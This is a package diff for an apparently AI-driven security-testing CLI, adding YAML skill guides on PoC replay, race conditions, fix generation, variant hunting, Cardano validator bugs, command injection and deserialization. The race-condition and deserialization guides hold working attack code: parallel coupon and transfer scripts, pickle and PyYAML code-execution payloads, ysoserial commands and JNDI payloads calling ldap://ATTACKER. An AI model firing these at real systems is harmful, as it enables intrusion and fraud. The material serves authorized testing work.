0sec-cli 0.15.0 → 0.18.0

package/chunks/agent/skills/techniques/poc-verification.yaml

@@ -0,0 +1,55 @@
+id: poc-verification
+name: "PoC Verification (Loop-Closer)"
+description: "When to reach for the `verify_finding` engine: replay a persisted finding's proof-of-concept against the real target and get a deterministic pass/fail verdict from the category oracle. This is the LOOP-CLOSER — it turns a LEAD into a CONFIRMED, reproduced finding. Touches the target network, so it is offered only for an active in-scope engagement."
+version: 1
+applicable_roles:
+  - attack
+tags:
+  - verification
+  - reproduction
+  - proof-of-concept
+  - deterministic-oracle
+  - loop-closer
+triggers:
+  - "verify (the|this) (finding|vuln|poc|bug)"
+  - "reproduce"
+  - "confirm (the|this|it'?s) (finding|exploit|vuln)"
+  - "does (it|this) actually (work|reproduce)"
+  - "replay (the )?poc"
+estimated_tokens: 700
+content: |
+  ## PoC verification — closing the loop
+
+  A finding is a hypothesis until it is REPRODUCED. `verify_finding` replays a
+  persisted finding's PoC against the real target and returns a deterministic
+  pass/fail verdict from the category oracle — the single most important step
+  between "a lead" and "a confirmed, reportable finding".
+
+  ### Scope gate (read this first)
+  This tool sends traffic to the TARGET. It is offered ONLY when an engagement
+  scope is active — the target (or the explicit in-scope override) must be
+  authorized by the scope. Without a scope it is not available; do not attempt
+  to verify against a host the engagement does not cover.
+
+  ### How to drive it
+  - Pass the `finding_id` of the persisted finding to replay. Optionally pass a
+    `target` override — but it must be IN SCOPE; an out-of-scope override is
+    refused.
+  - The engine loads the finding, rebuilds its reproduction bundle, replays the
+    deterministic PoC, and runs the category-specific oracle to decide the
+    verdict.
+
+  ### Reading the verdict
+  - A PASS means the oracle observed the exact expected effect (the reflected
+    marker, the state change, the leaked value, the timing signal) — this is a
+    reproduced finding, safe to escalate toward disclosure.
+  - A FAIL means the PoC did not reproduce as recorded. That is NOT proof the
+    bug is absent — the target may have changed, the payload may need
+    adaptation, or the PoC was flaky. Re-examine the evidence and the oracle
+    category before discarding.
+
+  ### Where it sits
+  - Every lead from `deep_source_review`, `variant_hunt`, `assumption_hunt`, or
+    a scanner should pass through here before it is treated as real.
+  - A verified finding is the right input to `generate_fix` (remediation) and
+    `assemble_advisory` (disclosure draft).

package/chunks/agent/skills/techniques/race-condition.yaml

@@ -0,0 +1,122 @@
+id: race-condition
+name: "Race Condition Exploitation"
+description: "TOCTOU, limit-overrun, double-spend, and file race exploitation techniques"
+version: 1
+applicable_roles: [attack, audit]
+tags: [race-condition, toctou, concurrency, parallel, double-spend, limit-overrun, time-of-check]
+triggers:
+  - "race.condition"
+  - "TOCTOU"
+  - "time.of.check"
+  - "double.spend"
+  - "limit.*overrun"
+  - "coupon.*reuse"
+  - "discount.*appl"
+  - "transfer.*balance"
+  - "redeem"
+  - "concurrent"
+  - "atomic"
+  - "rate.limit"
+  - "one.time.*use"
+  - "single.use"
+  - "insufficient.*funds"
+estimated_tokens: 650
+content: |
+  ## Race Condition Exploitation
+
+  ### Concept
+  Race conditions occur when an application checks a condition (balance, coupon validity, file existence) and then acts on it in a separate step, with no atomic lock. An attacker sends concurrent requests to exploit the gap between check and use.
+
+  ### Step 1: Identify Race-Prone Endpoints
+  Look for operations that involve:
+  - **Balance/credit**: transfer money, redeem points, use wallet balance
+  - **Coupon/discount**: apply promo code, one-time-use voucher
+  - **Inventory**: purchase limited-stock item, claim reward
+  - **Account**: change email/password (TOCTOU on verification), upgrade plan
+  - **File operations**: upload then process, write then read, create then check
+  - **Token/OTP**: verify reset token, validate 2FA code (single-use tokens reused in window)
+
+  ### Step 2: Last-Byte Synchronization (Turbo Intruder Technique)
+  The key challenge is making requests arrive simultaneously. Network jitter defeats naive parallel sends.
+
+  **HTTP/1.1 last-byte sync**:
+  1. Open N connections to the target (e.g., 20)
+  2. Send all request data EXCEPT the final byte on each connection
+  3. Wait until all connections are ready
+  4. Send the final byte on all connections simultaneously
+  This ensures all requests arrive at the server within microseconds.
+
+  **curl parallel implementation**:
+  ```bash
+  # Simple parallel burst — 20 simultaneous requests
+  seq 1 20 | xargs -P 20 -I{} curl -s -o /dev/null -w "%{http_code}\n" \
+    -X POST TARGET/api/redeem -H "Cookie: session=TOKEN" \
+    -d '{"code":"SINGLE-USE-COUPON"}'
+  ```
+
+  **Python with threading for precise timing**:
+  ```python
+  import requests, threading
+  barrier = threading.Barrier(20)
+  results = []
+  def fire():
+      barrier.wait()  # all threads release together
+      r = requests.post("TARGET/api/transfer",
+          cookies={"session": "TOKEN"},
+          json={"to": "attacker", "amount": 1000})
+      results.append(r.status_code)
+  threads = [threading.Thread(target=fire) for _ in range(20)]
+  for t in threads: t.start()
+  for t in threads: t.join()
+  print(results)
+  ```
+
+  **HTTP/2 single-packet attack** (most precise):
+  - HTTP/2 multiplexes streams on one connection — send 20 requests in a single TCP packet
+  - All hit the server simultaneously with zero network jitter
+  - Use Turbo Intruder's `race-single-packet-attack.py` template or `h2spacer`
+
+  ### Step 3: Common Attack Patterns
+
+  **Limit overrun (double-spend)**:
+  - Balance check: `if balance >= amount` → deduct → but 20 requests all see original balance
+  - Expected result: balance goes negative, or item purchased multiple times with one payment
+  - Evidence: compare balance before and after — negative balance or excess items proves the race
+
+  **Coupon/promo reuse**:
+  - Single-use code accepted multiple times in parallel
+  - Send 20 concurrent `POST /apply-coupon` with the same code
+  - Count successful 200 responses — more than 1 success = vulnerability
+
+  **Registration/invite race**:
+  - Limited invite codes, early-access slots, or username reservation
+  - Parallel requests can all succeed before the "already used" check fires
+
+  **File race (TOCTOU)**:
+  - Upload file → server checks file type → processes file
+  - Race: upload benign file, then immediately replace it with malicious one before processing
+  - Or: create symlink race between check and use
+
+  **Password reset race**:
+  - Request reset token → use token → token invalidated
+  - Send parallel requests using the same reset token before invalidation
+
+  ### Step 4: Detection Signals
+  How to know you hit a race:
+  - More successful responses than expected (e.g., 15 out of 20 coupon applies succeed)
+  - Balance/counter goes below zero or beyond expected limits
+  - Duplicate records created in database
+  - Inconsistent state visible in subsequent GET requests
+
+  ### Step 5: Proof Construction
+  - Screenshot or log showing pre-race balance/state
+  - Show parallel request execution (timestamps within <10ms of each other)
+  - Screenshot or log showing post-race state (negative balance, multiple redemptions)
+  - For file races: show the uploaded file was processed as the malicious version
+
+  ### Gotchas
+  - Some frameworks use database transactions or row-level locks — races won't work
+  - Redis-based atomic operations (DECR, SETNX) resist races
+  - Retry on failure: if first burst doesn't work, increase concurrency (50-100 threads)
+  - Network proximity matters: run from the same datacenter or region if possible
+  - Rate limiting may need to be bypassed first (IP rotation, header manipulation)

package/chunks/agent/skills/techniques/scoped-fix.yaml

@@ -0,0 +1,49 @@
+id: scoped-fix
+name: "Scoped Fix Generation"
+description: "When to reach for the offline `generate_fix` engine: for a REPRODUCED finding, generate a minimal, scoped patch that closes the vulnerability without changing unrelated behaviour. Offline — it reads the finding focus + the affected source and produces a candidate diff; it never touches the target network and never applies the patch itself. The remediation half of the loop."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - remediation
+  - fix
+  - patch
+  - scoped-fix
+  - source-review
+triggers:
+  - "generate (a )?fix"
+  - "remediat"
+  - "patch (the|this) (finding|vuln|bug)"
+  - "how (do i|to) fix"
+  - "scoped fix"
+estimated_tokens: 600
+content: |
+  ## Scoped fix generation (offline)
+
+  Finding a bug is half the job; a credible, MINIMAL fix is what makes it
+  actionable. `generate_fix` produces a candidate patch for a finding that has
+  already been reproduced.
+
+  ### How to drive it
+  - Pass the `finding_id` (the reproduced finding to remediate) and, when the
+    source is not already the scoped path, the `repo` / source path. The engine
+    loads the finding's focus (the vulnerable file/lines + evidence) and the
+    surrounding source, then produces a scoped diff.
+
+  ### What "scoped" means here
+  - The patch should close the vulnerability and NOTHING else: no refactors, no
+    behaviour changes on the valid path, the smallest change that adds the
+    missing guard / fixes the boundary / corrects the check.
+  - It is generated OFFLINE and is NOT applied automatically. Treat the diff as
+    a proposal: read it, confirm it actually blocks the reproduced PoC and does
+    not break the legitimate path, then apply it through your normal edit/patch
+    flow.
+
+  ### Where it sits in the loop
+  - Reproduce first (`verify_finding`), then `generate_fix`. A fix for an
+    UNREPRODUCED finding is speculation — prefer to confirm the bug is real and
+    reachable before proposing a patch.
+  - After patching, a variant hunt (`variant_hunt`) off the same fix diff finds
+    sibling sites the single patch missed.

package/chunks/agent/skills/techniques/seedless-depth-review.yaml

@@ -0,0 +1,59 @@
+id: seedless-depth-review
+name: "Seedless Depth Source Review"
+description: "When to reach for the offline source-review engines: `deep_source_review` (seedless depth method — specialized finder lenses × a multi-lens refute quorum) and `file_security_review` (whole-repo regex → coverage gate → batched AI investigation, resumable). Both read source only; neither touches the target network."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - source-review
+  - deep-review
+  - depth-review
+  - finder-lens
+  - file-review
+  - static-analysis
+triggers:
+  - "deep review"
+  - "depth review"
+  - "finder lens"
+  - "source review"
+  - "review the (repo|codebase|source|code)"
+  - "whole-repo"
+estimated_tokens: 750
+content: |
+  ## Seedless depth review of a source tree (offline)
+
+  When the task is "find bugs in this source tree" and you have no seed fix diff
+  to derive variants from, reach for one of two offline engines instead of
+  ad-hoc grepping.
+
+  ### `deep_source_review` — the depth method
+  - Enumerates candidate files from the tree, then re-hunts each through
+    specialized **finder lenses** (memory-safety, input-validation, authz/logic,
+    secrets/crypto, plus the appsec pack) and gates survivors through a
+    **multi-lens refute quorum** — every lens re-reads and tries to refute.
+  - Drive it with `target` (a local path); bound cost with `max_candidates`
+    (largest-first, default 8), `concurrency`, and `cost_ceiling_usd`. Use
+    `subsystem` to narrow a large tree (there is a 5000-file review cap).
+  - **Output is LEADS, not confirmed bugs.** Each lead survived the refute
+    quorum but is not proven. Verify the real sink and impact — trace the taint
+    from a concrete entry point — before you report or disclose.
+
+  ### `file_security_review` — whole-repo, resumable
+  - A different shape: free regex scan → coverage gate → batched AI
+    investigation (refusal audit + field repair) → optional static revalidate.
+  - Drive it with `target`; bound with `max_cost_usd` / `max_duration_ms`,
+    `batch_size`, `concurrency`; set `revalidate: true` to adversarially
+    re-check HIGH+ findings.
+  - **It is resumable.** `exitCode === 3` means a cost/duration limit stopped
+    the run at a checkpoint — re-run the same tool on the same target to
+    continue. Treat exit 3 as "paused", not "failed".
+
+  ### Choosing between them
+  - Use `deep_source_review` for a focused, lens-driven depth pass on the files
+    most likely to hold a serious bug.
+  - Use `file_security_review` for broad whole-repo coverage with a durable,
+    resumable record store.
+  - Either way, a clean run with zero findings is a valid outcome — not proof of
+    perfection, but also not a failure.

package/chunks/agent/skills/techniques/spec-differential.yaml

@@ -0,0 +1,48 @@
+id: spec-differential
+name: "Specification Differential"
+description: "When to reach for the `spec_drift` engine: extract the invariants a target is SUPPOSED to enforce (from an OpenAPI/spec) and probe the live target for DRIFT — endpoints, params, auth requirements, and status/shape contracts the implementation violates. A network differential between the documented contract and the real behaviour. Sends live traffic, so it is offered only for an active in-scope engagement."
+version: 1
+applicable_roles:
+  - attack
+tags:
+  - spec-drift
+  - openapi
+  - differential
+  - contract
+  - shadow-api
+  - broken-object-level-authz
+triggers:
+  - "spec.?drift"
+  - "openapi|swagger"
+  - "(api )?spec (differential|drift|mismatch)"
+  - "shadow (api|endpoint)"
+  - "undocumented (endpoint|param)"
+estimated_tokens: 650
+content: |
+  ## Specification differential (live)
+
+  An API's spec is a statement of intent; the implementation is the reality.
+  Where they DRIFT is where bugs live — an endpoint that ignores a documented
+  auth requirement, an undocumented "shadow" parameter, a response that leaks a
+  field the schema hides, a status contract the server breaks. `spec_drift`
+  extracts the spec's invariants and probes the live target for those gaps.
+
+  ### Scope gate (read this first)
+  This tool sends requests to the TARGET. It is offered ONLY when an engagement
+  scope is active and the target is in scope. Without a scope it is not
+  available.
+
+  ### How to drive it
+  - Pass the `target` (an in-scope base URL) and the `spec` (an OpenAPI/schema
+    document or excerpt). The engine runs `extractSpecInvariants` to derive the
+    contract, then plans and executes probes that test each invariant against
+    the live server.
+
+  ### Reading the result
+  - Each drift is a LEAD: a documented-vs-actual mismatch. The high-value
+    classes are auth/authorization drift (an endpoint reachable without the
+    required credential — BOLA/BFLA), shadow endpoints/params, and
+    over-disclosure in responses.
+  - Confirm the security impact of a drift (who can reach it, what it exposes)
+    before treating it as a finding. Not every documentation mismatch is a
+    vulnerability.

package/chunks/agent/skills/techniques/variant-hunting.yaml

@@ -0,0 +1,55 @@
+id: variant-hunting
+name: "Variant Hunting from a Seed"
+description: "When to reach for the offline `variant_hunt` engine: given a proven bug (a seed fix diff or a described bug class) hunt the SAME class at OTHER sites in the source tree — LLM bug-class extraction + grep'd candidate sites → parallel finders → adversarial skeptic gate. Offline source read; never touches the target network. Emits LEADS, not confirmed 0-days."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - variant-analysis
+  - variant-hunt
+  - bug-class
+  - patch-diffing
+  - source-review
+  - n-day
+triggers:
+  - "variant"
+  - "same (bug|vuln|pattern|class) (elsewhere|again|somewhere)"
+  - "patch.?diff"
+  - "seed (fix|diff|patch)"
+  - "hunt (for )?(other|more) (instances|occurrences|sites)"
+estimated_tokens: 650
+content: |
+  ## Variant hunting from a seed (offline)
+
+  One real bug is rarely alone. When you have a PROVEN bug — a fix commit, a
+  described root cause, or a confirmed finding — the highest-yield next move is
+  to hunt the SAME bug class at every OTHER site in the tree. Reach for
+  **`variant_hunt`** instead of ad-hoc grepping.
+
+  ### What it does
+  - Extracts the bug CLASS from the seed (the sink, the missing guard, the
+    dangerous pattern), then generates candidate sites across the tree (an LLM
+    bug-class pass + grep'd structural candidates).
+  - Runs parallel finders over the candidates, then gates survivors through an
+    adversarial skeptic that re-reads each and tries to refute it.
+
+  ### How to drive it
+  - Point it at the `source` tree (a local path; resolved within the scoped
+    source path when one is set).
+  - Provide the `seed` — a fix diff, the finding, or a description of the bug
+    class. A sharper seed yields sharper candidates. With no seed it falls back
+    to a broader class-agnostic sweep.
+
+  ### Reading the result
+  - A surviving hunt finding is a **LEAD, not a confirmed 0-day**: the skeptic
+    gate filters (re-reads + refutes) but does not PROVE, and novelty (is this
+    site already fixed upstream?) is a downstream gate.
+  - Treat `confirmed` as "worth verifying". Before any disclosure: trace the
+    real sink from a concrete entry point, and check the site is not already
+    patched. Hand a promising lead to `verify_finding` to close the loop.
+
+  ### When to use
+  - Right after a fix lands or a finding is confirmed — hunt siblings.
+  - When reviewing a codebase with a known recurring anti-pattern.

package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml

@@ -0,0 +1,72 @@
+id: cardano-eutxo-validators
+name: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"
+description: "Value-stealing logic bugs in Cardano on-chain validators — double satisfaction, missing signer checks, unconserved value, unauthorized minting, datum trust, staking/withdrawal tricks. No memory safety here; every bug is a constraint the validator forgets to enforce, exploited by a transaction the ledger admits."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+  - review
+tags:
+  - cardano
+  - aiken
+  - plutus
+  - smart-contract
+  - eutxo
+  - double-satisfaction
+  - blockchain
+triggers:
+  - "validator\\s*\\{|validator\\s+\\w+\\s*\\("
+  - "ScriptContext|TxInfo|mkValidator|PlutusV[23]|plutus-tx"
+  - "extra_signatories|tx\\.signatories|txInfoSignatories"
+  - "redeemer|datum|Datum|Redeemer"
+  - "aiken\\.toml|\\.ak\\b|plutarch|pvalidator"
+  - "outputs|inputs|mint|withdrawals|reference_inputs"
+  - "find_input|own_input|continuing.?output|find_datum"
+estimated_tokens: 900
+content: |
+  ## Cardano EUTXO Validator Logic — Methodology
+
+  Cardano validators are pure functions `(datum, redeemer, ScriptContext) -> Bool`
+  on a memory-safe VM. There is NO UAF/OOB/injection. The ONLY bug class is:
+  **a transaction the validator should reject but accepts**, draining locked
+  value or minting unauthorized tokens. Every bug is a missing or weak check on
+  a `TxInfo` field. Verified class across Cardano (acropolis/cardano-js-sdk SSRF
+  is off-chain; this is the on-chain sibling).
+
+  ### Phase 1: Enumerate validators + what they constrain
+  For each `spend` / `mint` / `withdraw` / `publish` / `vote` handler (Aiken v2)
+  or redeemer branch (Plutus), list which `ScriptContext`/`TxInfo` fields it
+  actually asserts on: `extra_signatories`, `inputs`, `outputs`, `mint`,
+  `validity_range`, `withdrawals`, `reference_inputs`, `datums`. The bug is the
+  field it FORGETS.
+
+  ### Phase 2: The high-yield bug classes
+  - **Double satisfaction** — validator checks "an output of value X to addr A
+    exists" without binding it to THIS input. One output satisfies two script
+    inputs → drain. Fix marker: counts own inputs / tags output to own outref.
+  - **Missing signer check** — admin/spend/upgrade path that never requires the
+    owner key in `extra_signatories` (or checks an attacker-suppliable list).
+  - **Value not conserved** — validates the datum/state transition but never
+    asserts `continuing_output.value >= input.value`. Attacker pays value to
+    self. Also `>=` slack the attacker profits from, and min-ada/dust tricks.
+  - **Unauthorized mint** — mint handler with no quantity check, no redeemer
+    binding, or a one-shot guard that consumes the WRONG outref → infinite mint.
+  - **Datum trust** — trusts a datum field (price/owner/oracle) without
+    verifying it, or trusts an output datum it does not constrain; datum-hash vs
+    inline-datum confusion on Plutus.
+  - **Staking/withdrawal trick** — unconstrained `withdrawals`, withdraw-zero to
+    skip a check, or delegating a spend check to a trivially-satisfiable stake
+    script.
+  - **Missing validity-range / replay** — no deadline/vesting time bound; no
+    nonce/spent-input uniqueness → replay of an authorization.
+
+  ### Phase 3: Prove it (no sanitizer here)
+  Ground every finding in (1) the validator file:line of the missing check and
+  (2) the malicious transaction shape — which inputs, outputs, mint, signers —
+  and why each EXISTING check still passes while value moves to the attacker.
+
+  ### Phase 4: Kill false positives
+  Reject if: the Cardano ledger already enforces it (value ≥ 0, no double-spend,
+  min-ada, fees); a SIBLING validator or required-signer enforces it; or the
+  "missing" check has no real value impact. Read the other validators before
+  concluding — most false positives are checks enforced one validator over.

package/chunks/agent/skills/vulnerabilities/command-injection.yaml

@@ -0,0 +1,99 @@
+id: command-injection
+name: "OS Command Injection"
+description: "Untrusted data reaching a shell/subprocess — via filenames, URLs, archive entries, config values, and tool delegates. The single highest-disclosure bug class in our corpus (ImageMagick delegates, ESLint processors, whisper examples)."
+version: 1
+applicable_roles:
+  - attack
+  - audit
+tags:
+  - command-injection
+  - rce
+  - subprocess
+  - shell
+  - delegate
+  - argument-injection
+  - nodejs
+  - python
+  - c
+triggers:
+  - "command.?inject"
+  - "child_process"
+  - "exec\\("
+  - "execSync"
+  - "spawn\\("
+  - "spawnSync"
+  - "shell\\s*[:=]\\s*true"
+  - "os\\.system"
+  - "subprocess"
+  - "popen"
+  - "Runtime\\.getRuntime"
+  - "ProcessBuilder"
+  - "system\\("
+  - "execve|execvp|execlp"
+  - "delegate"
+  - "ImageMagick|convert\\b|ffmpeg|gs\\b|ghostscript"
+  - "eslint|processor"
+  - "backtick|`\\$"
+estimated_tokens: 950
+content: |
+  ## OS Command Injection Methodology
+
+  This is the highest-yield, most-frequently-accepted bug class in our corpus.
+  The win is almost never a literal `;rm -rf` in obvious code — it's **untrusted
+  data that flows into a subprocess through a non-obvious channel**: a filename,
+  a URL, an archive member name, a config field, or a tool "delegate" template.
+
+  ### Phase 1: Find the subprocess sinks
+  - **Node**: `child_process.exec`/`execSync` (runs via `/bin/sh -c` → shell
+    metachars live), `spawn`/`execFile` with `shell: true`, template literals
+    built into an `exec` string.
+  - **Python**: `os.system`, `subprocess.*(…, shell=True)`, `os.popen`,
+    `commands.*`. Also `subprocess.run([...])` where an attacker controls
+    `argv[0]` or can inject a leading `-flag` (argument injection).
+  - **C/C++**: `system()`, `popen()`, `execlp/execvp` with a PATH-resolved name,
+    or building a command string then handing it to a shell.
+  - **Delegates / external tools**: ImageMagick `delegates.xml`, ffmpeg/gs
+    invocations, git hooks, `eslint` custom processors, build scripts. These
+    expand `%f`/`%u`/`{filename}` style placeholders into a shell command.
+
+  ### Phase 2: Trace the source (the part people miss)
+  Ask: *what attacker-controlled value reaches the sink, and through how many
+  hops?* Productive sources in our verified findings:
+  - **Filenames** — an uploaded/processed file's name interpolated into a
+    command (ESLint processor on a crafted filename; ImageMagick on `name.png`).
+  - **URLs / remote refs** — a git remote URL, a download URL, a redirect target
+    passed to a fetch+process step.
+  - **Archive member names** — extracted entries used in a later command.
+  - **Config / manifest fields** — a value from `package.json`, a YAML/JSON
+    config, or an icon/asset path used unquoted in a sync/build script.
+  - **Auth / header values** — usernames or tokens echoed into a command.
+
+  ### Phase 3: Argument injection (don't stop at metachars)
+  Even with no shell, a parameterized subprocess is exploitable if the attacker
+  controls a value that becomes a **flag**: a filename starting with `-` becomes
+  an option (`--output=…`, `-o`), `git`'s `--upload-pack`, `curl`'s `-K`/`-o`,
+  `ssh`'s `-o ProxyCommand=…`. Look for `argv` arrays where an untrusted string
+  lands in a position that the tool will parse as an option.
+
+  ### Phase 4: Confirm before save_finding (mandatory)
+  A real, savable command-injection needs a concrete trigger path:
+  - the exact source → sink dataflow (file:line for each hop),
+  - the metachar/flag that breaks out and why the surrounding quoting/escaping
+    doesn't stop it (check for `shellescape`, `shlex.quote`, array-argv, allowlist),
+  - a minimal PoC input (a filename / URL / config value) and the resulting
+    command string. If you can run it in the sandbox, do — a captured
+    `id`/`echo PWNED` is the gold standard.
+
+  ### Anti-false-positive checklist
+  - Is the input actually attacker-controlled, or developer-supplied at build?
+  - Is there an allowlist / `execFile` (no shell) / proper quoting upstream?
+  - Does the "untrusted" value get validated/canonicalized before the sink?
+  If quoting is correct and the value is array-passed without shell, it is NOT
+  command injection — say so and move on; don't pad the report.
+
+  ### Real wins from this engine (the shape that lands)
+  - ImageMagick delegate command expansion via crafted filename/URL.
+  - ESLint custom processor command injection via crafted filename (acknowledged
+    by the maintainer).
+  - `whisper` example: untrusted filename → subprocess.
+  - GitHub Actions supply-chain command injection via a malicious value.

package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml

@@ -0,0 +1,106 @@
+id: deserialization-chains
+name: "Deserialization Attack Chains"
+description: "Multi-language deserialization exploitation: Java, PHP, Python, .NET, Ruby"
+version: 1
+applicable_roles: [attack, audit]
+tags: [deserialization, rce, java, php, python, dotnet, pickle, ysoserial, phar, gadget-chain]
+triggers:
+  - "unserialize\\s*\\("
+  - "pickle\\.loads?\\s*\\("
+  - "cPickle"
+  - "__reduce__"
+  - "yaml\\.load\\s*\\("
+  - "!!python/object"
+  - "rO0AB"
+  - "application/x-java-serialized-object"
+  - "ysoserial"
+  - "CommonsCollections"
+  - "BinaryFormatter"
+  - "ObjectStateFormatter"
+  - "__VIEWSTATE"
+  - "TypeNameHandling"
+  - "Marshal\\.load"
+  - "phpggc"
+  - "O:\\d+:\"[\\w\\\\]+\":\\d+:\\{"
+  - "Fastjson"
+  - "Jackson.*enableDefaultTyping"
+  - "SnakeYAML"
+  - "\\\\xac\\\\xed\\\\x00\\\\x05"
+estimated_tokens: 750
+content: |
+  ## Deserialization Attack Chains
+
+  ### Step 1: Identify Serialization Format
+  Detect the format from magic bytes, Content-Type, or code patterns:
+  - **Java**: magic `\xac\xed\x00\x05` / base64 `rO0AB`; Content-Type `application/x-java-serialized-object`
+  - **PHP**: `O:8:"stdClass":0:{}` shape in cookies, POST bodies, or hidden fields
+  - **Python pickle**: base64 blobs in cookies (Flask-Session), `.pkl` files, Celery task bodies
+  - **.NET**: `__VIEWSTATE` fields, `SoapFormatter`/`BinaryFormatter` in request bodies
+  - **Ruby**: `\x04\x08` header in base64 cookies (Rack sessions)
+
+  ### Step 2: Java Deserialization
+  **ysoserial gadget chains** (match to classpath):
+  - `java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0` — Apache Commons Collections 3.1
+  - `CommonsCollections5` / `CommonsCollections6` — CC 3.1-3.2.1 (no InvokerTransformer restriction)
+  - `CommonsBeanutils1` — commons-beanutils on classpath
+  - `Spring1` / `Spring2` — Spring Framework apps
+  - `Hibernate1` — Hibernate ORM present
+  - `URLDNS` — **no gadget dependency**, blind detection via DNS callback; always try first
+  - Blind detection: `java -jar ysoserial.jar URLDNS 'http://ATTACKER.oast.id' | base64 -w0`
+
+  **Jackson (enableDefaultTyping / @JsonTypeInfo)**:
+  - Payload: `["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://ATTACKER:1389/obj","autoCommit":true}]`
+  - Requires JNDI injection endpoint (Marshalsec LDAP/RMI server)
+
+  **Fastjson** (versions < 1.2.68):
+  - `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ATTACKER:1389/obj","autoCommit":true}`
+  - Bypass autoType: `{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://ATTACKER/a","autoCommit":true}`
+
+  **Common Java sinks**: RMI (:1099), JMX, T3 (WebLogic :7001), JMS queues, JSF ViewState, Struts2 OGNL parameters.
+
+  ### Step 3: PHP Deserialization
+  **unserialize() + POP chains**:
+  - Confirm: send `O:8:"stdClass":0:{}` — valid parse = no error; garbage = `unserialize(): Error at offset`
+  - Build chains with **phpggc**: `phpggc Monolog/RCE1 system id | base64 -w0`
+  - Key chains: `Laravel/RCE1-12`, `Symfony/RCE1-6`, `Monolog/RCE1-9`, `Guzzle/RCE1`, `Slim/RCE1`
+  - Fingerprint framework from cookies (laravel_session, XSRF-TOKEN), error traces, headers
+
+  **Phar deserialization** (no direct unserialize call needed):
+  - Upload a phar disguised as `.jpg`/`.png` (phar polyglot)
+  - Trigger via any file operation: `file_exists("phar://uploads/evil.jpg")`, `getimagesize()`, `finfo_file()`
+  - Phar metadata is deserialized automatically — chains same as unserialize()
+
+  ### Step 4: Python Deserialization
+  **pickle RCE** (pickle.loads on attacker data = direct code execution):
+  ```python
+  import pickle, base64, os
+  class E:
+      def __reduce__(self):
+          return (os.system, ('id',))
+  print(base64.b64encode(pickle.dumps(E())).decode())
+  ```
+  Common sinks: Flask-Session (pickle backend), Redis-cached objects, `/tmp/*.pkl`, Celery task serialization, shelve, joblib.load.
+
+  **PyYAML** (yaml.load without SafeLoader):
+  - `!!python/object/apply:os.system ["id"]`
+  - `!!python/object/apply:subprocess.check_output [["id"]]`
+  - Older PyYAML: `!!python/object/new:os.system ["id"]`
+
+  ### Step 5: .NET Deserialization
+  **BinaryFormatter / SoapFormatter / LosFormatter**:
+  - `ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c whoami"`
+  - `ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd /c whoami"`
+
+  **ViewState** (ASP.NET):
+  - Check for `__VIEWSTATE` without MAC validation (no `__VIEWSTATEGENERATOR` or known machine key)
+  - `ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --path="/target.aspx" --apppath="/"`
+
+  **Json.NET TypeNameHandling** (not None):
+  - `{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c whoami"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}`
+
+  ### Workflow
+  1. Identify format from magic bytes, headers, or code patterns.
+  2. Send a benign baseline blob to confirm deserialization occurs (error shape reveals parser).
+  3. Start with blind/OOB detection (URLDNS for Java, DNS/HTTP callback for others).
+  4. Match gadget chain to fingerprinted framework/library versions.
+  5. Escalate to command execution; prove with `id`/`whoami`, not flag reads.